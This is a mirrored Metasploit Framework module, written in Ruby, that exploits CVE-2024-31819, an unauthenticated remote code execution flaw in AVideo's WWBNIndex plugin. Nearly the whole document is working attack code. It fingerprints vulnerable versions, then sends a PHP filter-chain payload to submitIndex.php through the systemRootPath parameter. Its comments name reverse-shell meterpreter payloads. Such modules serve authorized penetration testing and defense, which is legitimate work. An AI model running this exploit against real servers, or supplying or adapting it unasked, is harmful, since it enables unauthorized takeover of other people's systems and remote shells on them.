Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/avideo_wwbnindex_unauth_rce.rb
33708 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HTTP::PhpFilterChain
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'AVideo WWBNIndex Plugin Unauthenticated RCE',
18
'Description' => %q{
19
This module exploits an unauthenticated remote code execution (RCE) vulnerability
20
in the WWBNIndex plugin of the AVideo platform. The vulnerability exists within the
21
`submitIndex.php` file, where user-supplied input is passed directly to the `require()`
22
function without proper sanitization. By exploiting this, an attacker can leverage the
23
PHP filter chaining technique to execute arbitrary PHP code on the server. This allows
24
for the execution of commands and control over the affected system. The exploit is
25
particularly dangerous because it does not require authentication, making it possible
26
for any remote attacker to exploit this vulnerability.
27
},
28
'Author' => [
29
'Valentin Lobstein'
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2024-31819'],
34
['URL', 'https://github.com/WWBN/AVideo'],
35
['URL', 'https://chocapikk.com/posts/2024/cve-2024-31819']
36
],
37
'Targets' => [
38
[
39
'PHP In-Memory',
40
{
41
'Platform' => 'php',
42
'Arch' => ARCH_PHP
43
# tested with php/meterpreter/reverse_tcp
44
}
45
],
46
[
47
'Unix In-Memory',
48
{
49
'Platform' => ['unix', 'linux'],
50
'Arch' => ARCH_CMD
51
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
52
}
53
],
54
[
55
'Windows In-Memory',
56
{
57
'Platform' => 'win',
58
'Arch' => ARCH_CMD
59
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
60
}
61
],
62
],
63
'Privileged' => false,
64
'DisclosureDate' => '2024-04-09',
65
'Notes' => {
66
'Stability' => [CRASH_SAFE],
67
'Reliability' => [REPEATABLE_SESSION],
68
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
69
},
70
'DefaultOptions' => {
71
'SSL' => true,
72
'RPORT' => 443,
73
'FETCH_WRITABLE_DIR' => '/tmp'
74
}
75
)
76
)
77
end
78
79
def exploit
80
php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
81
filter_payload = generate_php_filter_payload(php_code)
82
res = send_request_cgi(
83
'method' => 'POST',
84
'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
85
'ctype' => 'application/x-www-form-urlencoded',
86
'data' => "systemRootPath=#{filter_payload}"
87
)
88
print_error("Server returned #{res.code}. Successful exploit attempts should not return a response.") if res&.code
89
end
90
91
def check
92
res = send_request_cgi({
93
'uri' => normalize_uri(target_uri.path, 'index.php'),
94
'method' => 'GET',
95
'follow_redirect' => true
96
})
97
return CheckCode::Unknown('Failed to connect to the target.') unless res
98
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
99
100
version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
101
return CheckCode::Unknown('Unable to extract AVideo version.') unless version_match && version_match[1]
102
103
version = Rex::Version.new(version_match[1])
104
plugin_check = send_request_cgi({
105
'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
106
'method' => 'GET'
107
})
108
unless plugin_check&.code == 200
109
CheckCode::Safe('Vulnerable plugin WWBNIndex was not detected')
110
end
111
112
if version.between?(Rex::Version.new('12.4'), Rex::Version.new('14.2'))
113
return CheckCode::Appears("Detected vulnerable AVideo version: #{version}, with vulnerable plugin WWBNIndex running.")
114
end
115
116
CheckCode::Safe("Detected non-vulnerable AVideo version: #{version}")
117
end
118
end
119
120